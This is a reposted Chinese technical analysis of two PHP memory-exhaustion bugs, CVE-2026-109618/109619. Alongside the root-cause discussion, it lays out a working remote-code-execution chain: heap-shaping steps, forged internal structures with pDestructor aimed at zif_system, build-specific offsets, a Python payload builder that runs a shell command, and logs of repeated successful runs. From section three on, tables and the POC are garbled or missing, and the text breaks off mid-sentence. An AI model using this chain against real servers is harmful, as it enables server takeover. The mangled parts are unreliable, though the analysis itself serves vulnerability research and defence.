PHP 请求生命周期边界漏洞技术分析(CVE-2026-109618/109619)
原文来源不详,可能为人工+AI 分析
目前由用户发布于墨雪飘影漏洞收集平台,下面为转载。
PHP 请求生命周期边界漏洞技术分析(CVE-2026-109618/109619)@Rabbit
https://v.mxpy.cn/post/6052/
被 PHP2Shell 漏洞吓坏了?先说结论!
https://mp.weixin.qq.com/s/vMyqgwHaWOIrWKIQyPsq9Q
一、共同背景:请求生命周期边界的空档
PHP 在 php_hash_environment()(main.c:1942)里解析 POST/multipart,这一步发生在所有模块 RINIT 之前(PG(modules_activated) 此时为 0)。当解析过程中发生 OOM,zend_mm_safe_error() → zend_bailout() longjmp 直接跳出。随后 php_request_shutdown() 中带 PG(modules_activated) 门控的三步被整体跳过:
/* main/main.c:1955-2051 */ /* 1. shutdown functions */ if (PG(modules_activated)) ... /* 1974-1977 跳过 */ /* 2. __destruct() */ zend_call_destructors(); /* 1979-1982 执行 */ /* 5. RSHUTDOWN */ if (PG(modules_activated)) ... /* 1996-1999 跳过 */ /* 7. free shutdown functions */ if (PG(modules_activated)) ... /* 2006-2009 跳过 */ /* 8. destroy super-globals */ zval_ptr_dtor(&PG(http_globals)[i]); /* 2011-2018 执行,无门控 */ /* 9. zend_deactivate() */ zend_deactivate(); /* 2020-2021 执行 */ /* 15. shutdown_memory_manager */ shutdown_memory_manager(...); /* 2049-2051 执行 */
- 入口早:解析在 RINIT 前,无模块生命周期保护。
- 退出早:OOM longjmp 使 RSHUTDOWN 被跳过,但第 2、8、9、15 步照常执行。
两个 CVE 分别站在这个空档的两侧:
| 消费方向 | 被消费对象 | 前提 | |
|---|---|---|---|
| 109618 | 同一请求内 | 请求内存中nNumUsed 虚增的半初始化 HashTable | 对象没被写完 |
| 109619 | 跨请求 | 模块全局PS(http_session_vars)(悬空 zend_reference) | 状态没被清理 |
二、CVE-2026-109618:半初始化 bucket 在关闭阶段被当作活 zval
漏洞描述
_zend_hash_str_add_or_update_i()(zend_hash.c:960)插入新键时,先发布计数器,后分配键:
add_to_hash: idx = ht->nNumUsed++; /* 961 先发布 */ ht->nNumOfElements++; /* 962 */ p = ht->arData + idx; /* 963 */ p->key = key = zend_string_init(str, len, ...); /* 964 可能 OOM -> bailout */ ... ZVAL_COPY_VALUE(&p->val, pData); /* 975 永远不执行 */
键长 4990 字节时 zend_string_init 分配 8192 字节(两页),memory_limit 不足则 longjmp。表认为有 nNumUsed 个桶,而最后一个桶的 key、h、val 均未初始化。
请求启动失败后,关闭流程第 8 步 zval_ptr_dtor(&PG(http_globals)[TRACE_VARS_FILES]) 无门控,递归析构 $_FILES → $_FILES["t"] → $_FILES["t"]["name"]。zend_array_destroy() 按 nNumUsed 遍历:
/* zend_hash.c:1843-1847 */ Bucket *p = ht->arData; Bucket *end = p + ht->nNumUsed; if (HT_HAS_STATIC_KEYS_ONLY(ht)) { do { i_zval_ptr_dtor(&p->val); } while (++p != end); /* 只析构 val,不碰 key */ }
于是从未写过的 bucket 被当作活 zval 析构。
关键 gdb 信息
OOM 点与幻影 bucket:
#6 _zend_hash_str_add_or_update_i (…) Zend/zend_hash.c:964
#7 zend_hash_str_update_ind (…) Zend/zend_hash.c:1048
#8 zend_symtable_str_update_ind (…) Zend/zend_hash.h:602
#9 php_register_variable_ex (…) main/php_variables.c:271
#10 php_register_variable_safe (…) main/php_variables.c:49
#11 safe_php_register_variable (…) main/rfc1867.c:138
#12 rfc1867_post_handler (…) main/rfc1867.c:1153
...
#17 php_hash_environment () main/php_variables.c:794
#17 到 #6 之间无任何模块 RINIT,#6 处 bailout 后 PG(modules_activated) 仍为 0。
目标表内存布局($_FILES["t"]["name"],8 桶表 = 320 字节 bin 16):
HT_SIZE_TO_MASK(8) = 0xFFFFFFF0
HT_HASH_SIZE(-16) = 64
HT_DATA_SIZE(8) = 256
HT_SIZE_EX = 320
zend_hash_real_init_mixed_ex()(zend_hash.c:166)只把前 64 字节 hash 区写 -1,bucket 区 256 字节未初始化。不做堆整形时,OOM 点读到的是上一任表留下的有效字符串 zval:
>>> _zend_hash_str_add_or_update_i: ht=0x7fffeabc83f0 arData=0x7fffeabc9a40 nNumUsed=1 nTableSize=8 flags=0x10
>>> stale zval: ptr=0x7fffeabd0000 type_info=0x106 (IS_STRING_EX)
>>> stale str gc=0x16 len=4990 refcount=1
即原语在默认条件下已在执行,只是消费的是别人的垃圾数据,请求安静退出。
关闭阶段的四跳析构栈:
#0 zend_array_destroy (ht=0x7fffeabc83f0) Zend/zend_hash.c:1815
#1 i_zval_ptr_dtor (zval_ptr=0x7fffeabc9b80) Zend/zend_variables.h:45
#2 zend_array_destroy (ht=0x7fffeabc83b8) Zend/zend_hash.c:1849
#3 i_zval_ptr_dtor (zval_ptr=0x7fffedca4b00) Zend/zend_variables.h:45
#4 zend_array_destroy (ht=0x7ffff3c5b0a8) Zend/zend_hash.c:1849
#5 php_request_shutdown (dummy=0x0) main/main.c:2016
堆整形后的 RCE 命中:
=== [1] OOM size=8192 ===
>>> _zend_hash_str_add_or_update_i: ht=... nNumUsed=1 ...
>>> bucket[0] = { val=0x7fffeabc9a60, type_info=0x307 } (IS_ARRAY|REFCOUNTED|COLLECTABLE)
=== [2] php_request_shutdown -> zend_array_destroy(phantom ht) nNumUsed=1 ===
=== [3] pDestructor -> zif_system(execute_data=0x7fffeabc9a98)
>>> arg1 zval = { ptr=0x7fffeabc9af8, type_info=0x6 }
0x7fffeabc9b10: "id>/tmp/php2shell_rce_618"
#0 zif_system (execute_data=0x7fffeabc9a98, return_value=0x1) ext/standard/exec.c:250
#1 zend_hash_destroy (ht=0x7fffeabc9a60) Zend/zend_hash.c:1769
#2 zend_array_destroy (ht=0x7fffeabc9a60) Zend/zend_hash.c:1826
#3 i_zval_ptr_dtor (zval_ptr=0x7fffeabc9a40) Zend/zend_variables.h:45
#4 zend_array_destroy (ht=0x7fffeabc83f0) Zend/zend_hash.c:1845
前置条件
-
精确的 OOM 落点:必须落在
_zend_hash_str_add_or_update_i()的add_to_hash(键分配失败)上。固定 856 个嵌套文件字段,燃烧字段数实测:燃烧字段数 OOM 位置 被中断的表 16 add_to_hash,PG(rfc1867_protected_variables)持久化表 17 add_to_hash,另一张 8 桶子表相邻子表 18 add_to_hash,$_FILES["t"]["name"]目标表(唯一命中) 19 sapi_handle_post(SAPI.c:164)解析器外层 20 同上,12288 字节 同上 ±1 个燃烧字段就换对象,常量与请求形状绑死。
-
堆整形控制 320 字节槽位:普通字段结束时
efree(param)在前、efree(value)在后,但下一字段的param会取走栈顶。需用三段非相邻分配绕开:段 内容 分配/释放 结果 X 文件字段 f0000[aaa…a](索引 313 字节)estrndup→emalloc(314),bin 320,存活挂住文本槽位 B 普通字段 gB,值 319 字节二进制emalloc(320)取新槽位,字段结束efree内容保留 目标 文件字段 t[AAA…A][b]rfc1867.c:1117先efreeX → 压栈顶;$_FILES["t"]取栈顶,["name"]取 B 的槽位B 槽位成为目标表 arData multipart_buffer_read_body()值缓冲二进制安全(rfc1867.c:626-640),319 字节任意可控。 -
一块 320 字节内摆下四个伪造结构(可用区间
+64起 256 字节):偏移 长度 结构 关键字段 +64 16 假 zval value.ptr=+96,type_info=0x307+96 0x38 假 HashTable gc={1,0x307}、flags=0x10、nTableMask=-16、arData=+152、nNumUsed=1、pDestructor=zif_system+152 0x58 假 zend_execute_data +0x2C num_args=1,+0x50arg1 zval+248 24+47 zend_string {refcount=1,type=6,len}+ 命令正文(≤47 字节) -
两个绝对地址:被控槽位堆地址(假表指针指回同一块内存)、
zif_system代码地址。实测槽位基址 = 启动时首个[anon:zend_alloc]chunk −0x9200000(六次运行一致);zif_system=/php映射基址 +0x73a900。实验通过/proc/<pid>/maps获取。 -
命令执行后进程必然崩溃:
pDestructor(&p->val)只传 RDI,RSI 残留0x1作为return_value。php_exec()中VCWD_POPEN先跑完命令,RETVAL_STRINGL往0x1写 zval 时 SIGSEGV:复制169 RETVAL_STRINGL(buf, bufl); Program received signal SIGSEGV即「一个请求换一次命令执行,代价是进程退出」。
-
版本/构建绑定:被控槽位偏移、
BIG_DELTA、zif_system偏移只对 8.5.2 该 build 成立;落点必须精确到指令;要求请求确实在php_hash_environment()内部 bailout,而非被post_max_size等早期条件拒绝。
POC(scripts/lab_109618_rce.py)
核心构造:
BUF_OFF = 0x1c9a00 # 被复用的 bin-320 槽位 BIG_DELTA = 0x9200000 # 相对启动 chunk 的偏移 OFF_ZVAL, OFF_HT, OFF_ED, OFF_CMD = 64, 96, 152, 248 ZIF_SYSTEM_OFF = 0x73a900 def payload(chunk, cmd): base = chunk + BUF_OFF ht, ed, cs = base+OFF_HT, base+OFF_ED, base+OFF_CMD v = bytearray(b"B"*319) v[OFF_ZVAL:OFF_ZVAL+16] = zval(ht, 0x307) v[OFF_HT:OFF_HT+0x38] = fake_ht(ed, zif_system_addr()) v[OFF_ED:OFF_ED+0x58] = fake_ed(cs) v[OFF_CMD:...] = zend_string(cmd) return bytes(v) def build(chunk, cmd, parts=856, nburn=18, blen=4990, idxlen=4990, levels=63): body = b"" for i in range(parts): body += file_part(b"f%04d"%i + b"[a]"*levels) # 吃堆 for i in range(nburn): body += part(b"p%04d"%i, b"P"*blen) # 精确 OOM 预算 body += file_part(b"f0000[" + b"a"*313 + b"]") # X:长 array_index body += part(b"gB", payload(chunk, cmd)) # B:319B 伪造内容 body += file_part(b"t[" + b"A"*idxlen + b"][b]") # 目标:add_to_hash 处 OOM body += b"--" + BOUNDARY + b"--\r\n" return body
运行结果(四次独立进程,ASLR 开启):
php pid=1557068 chunk=0x7c7404c00000 bin=0x5ef933000000 buf=0x7c7404dc9a00 -> RCE OK
php pid=1557086 chunk=0x78244e000000 bin=0x5f0d7d200000 buf=0x78244e1c9a00 -> RCE OK
php pid=1557109 chunk=0x7b0356200000 bin=0x5c00e2000000 buf=0x7b03563c9a00 -> RCE OK
php pid=1557121 chunk=0x7a1ef7600000 bin=0x58807de00000 buf=0x7a1ef77c9a00 -> RCE OK

三、CVE-2026-109619:未复位会话全局 + 跨请求 pDestructor 劫持
漏洞描述
请求 A 在 pre-RINIT 阶段处理 multipart 上传进度时,
MULTIPART_EVENT_FILE_START分支调用php_rinit_session(0)(session.c:3264)临时补齐会话状态,其php_rinit_session_globals()(session.c:111-127)只重置PS(id)、PS(mod_data)、PS(session_vars)、PS(http_session_vars),PS(mod)与PS(serializer)不在重置范围。随后php_session_initialize()→php_session_track_init()(session.c:253-269)建立PS(http_session_vars)引用:A 在读取 24 MiB 普通字段值时
erealloc触顶memory_limit=16M,_zend_bailout()。因PG(modules_activated)=0,RSHUTDOWN 被跳过,php_rshutdown_session_globals()(session.c:158-190,含PS(http_session_vars)的zval_ptr_dtor+ZVAL_UNDEF)从未执行,该zend_reference悬空。请求 B 不带文件字段,
php_rinit_session(0)不跑,pre-RINIT 逻辑读到 A 遗留的悬空值。B 的MULTIPART_EVENT_END默认cleanup=On走php_session_rfc1867_cleanup()(session.c:3166-3176)→php_session_initialize()→php_session_track_init():Z_ISUNDEF为假,析构必然执行,消费攻击者控制的伪造引用。两者缺一不可:PS(mod)为空则php_session_initialize()入口即返回;PS(http_session_vars)被正确 UNDEF 则 track_init 的析构跳过。关键 gdb 信息
请求 A 建立引用后 OOM:
ti=0x0说明 A 进入时http_session_vars是 UNDEF,析构跳过,随后新建引用,无任何人回收。请求 B 触发析构的完整链:
栈帧:
pDtor=0x555555b3a900= PIE 基址0x555555400000+0x73a900(zif_system偏移);r0的 chunk 偏移0x7b6c0与 A 阶段一致;REF_DESTROY入参 refcount 已为 0(GC_DELREF由调用方做)。前置条件
同 worker:仅
php -S单进程验证,FPM/pre-fork 未测。请求 A 必须带文件字段:只给
PHPSESSID与PHP_SESSION_UPLOAD_PROGRESS不触发FILE_START,http_session_vars始终 UNDEF,链断在起点。A 的 OOM 必须落在
FILE_START之后(引用已建立):实测为读取末尾 24 MiB 普通字段值时multipart_buffer_read_body的erealloc;16 MiB 限额配 24 MiB 字段是成功组合。session.upload_progress.enabled=On(默认):置 0 则无php_session_initialize,链从第二步断。B 布局常量(8.5.2 build,gdb 实测):
OFF_R00x7b6c0zend_reference在 chunk 内偏移OFF_BIG_DATA0x7a018big值数据起点VAL_REF0x16a8OFF_R0 - OFF_BIG_DATA)VAL_HT0x2000VAL_ED0x2040VAL_CMD0x2100VAL_LEN600000x2100+0x18+len主 chunk 跨请求复用:
zend_mm_shutdown()(full=false分支)只收main_chunk之外的块,主 chunk 与进程同寿命,B 可在同一地址重写。伪造结构布局(
vbase = chunk + 0x7a018):zend_reference(+0x16a8,24 字节;sources 落在 'A' 上):
01 00 00 00gc.refcount = 1(必须写 1,写 0 则GC_DELREF下溢,rc_dtor_func不触发)0a 00 00 00gc.type_info = IS_REFERENCEval.value.ptr07 03 00 00val.u1.type_info = 0x307(`IS_ARRAY00 00 00 00val.u2HashTable(+0x2000,0x40 字节):
01 00 00 00gc.refcount = 107 03 00 00gc.type_info = 0x30710 00 00 00flags = HASH_FLAG_STATIC_KEYSf8 ff ff ffnTableMask = -8arData01 00 00 00nNumUsed = 101 00 00 00nNumOfElements = 108 00 00 00nTableSize = 8zif_system绝对地址pDestructorHT_IS_WITHOUT_HOLES(1==1)与HT_HAS_STATIC_KEYS_ONLY(0x10 & 0x14)命中紧凑循环,每 bucket 直接pDestructor(&p->val)(zend_hash.c:1769),不读p->key。zend_execute_data(+0x2040,与 arData/Bucket 重叠):
01 00 00 00This.u2.num_args = 1ZEND_CALL_ARG(ed,1).value.ptr06 00 00 00type_info = IS_STRING重叠成立是因为
Bucket.val在 +0x00,zend_hash_destroy传给析构器的是&p->val,RDI 天然等于arData= execute_data,无需跳板。ARG(1)在 +0x50 是因为ZEND_CALL_FRAME_SLOT = ceil(0x50/0x10) = 5。zend_string(+0x2100):
01 00 00 00gc.refcount = 106 00 00 00gc.type_info = IS_STRINGhlenval命令不能含 NUL(
Z_PARAM_PATH_STR拒绝)。两个绝对地址:Zend MM chunk 基址(三个自指针需绝对值,伪造块在 chunk 内相对位置固定)、PIE 基址(
pDestructor = 基址 + 0x73a900)。实验通过/proc/<pid>/maps的[anon:zend_alloc]段与/php映射获取。命令执行后进程崩溃:
pDestructor(&p->val)只设 RDI,RSI 残留0x1作为return_value;php_exec中VCWD_POPEN先跑完命令,RETVAL_STRINGL往0x1写时 SIGSEGV。一个 worker 一条命令。POC(
scripts/lab_sink2_rce.py)请求 A:
请求 B:
运行结果(十个独立进程,PIE 与 chunk 基址每次不同):
0x7815be2000000x5574320000000x7d22568000000x650e5f4000000x7edd43e000000x61ee746000000x7de6006000000x5689088000000x71df4e4000000x561e61000000每次均拿到
uid=1000(whl)与RCE_OK,均打印chunk after A: <base> (same=True)。阴性对照:伪造结构整体平移 8 字节与 16 字节,其余字节、地址、请求不变,服务端只返回 200,无副作用文件,进程不崩溃。原因是目标地址不再是
refcount=1+type_info=0x0a,i_zval_ptr_dtor进不了析构链,证明成功来自精确布局。四、两者的关系与边界
易含混处:OOM 本身不是 109619 的特征,只是入口;「跳过 RSHUTDOWN」也不是 109618 的性质;8.5.12 同版本带两个方向修复,不代表两个 CVE 是同一问题。
8.5.12 修复方向:
php_basic_early_rinit()(basic_functions.c:492,在sapi_activate()前调用)提前复位BG(serialize)/BG(unserialize),堵 109619。ZEND_HAS_OOM()/zend_handle_delayed_oom(),zend_execute.c:4294-4295)使zend_mm_check_limit()非 fallible 堆下即使超软限额也返回SUCCESS(zend_alloc.c:555),`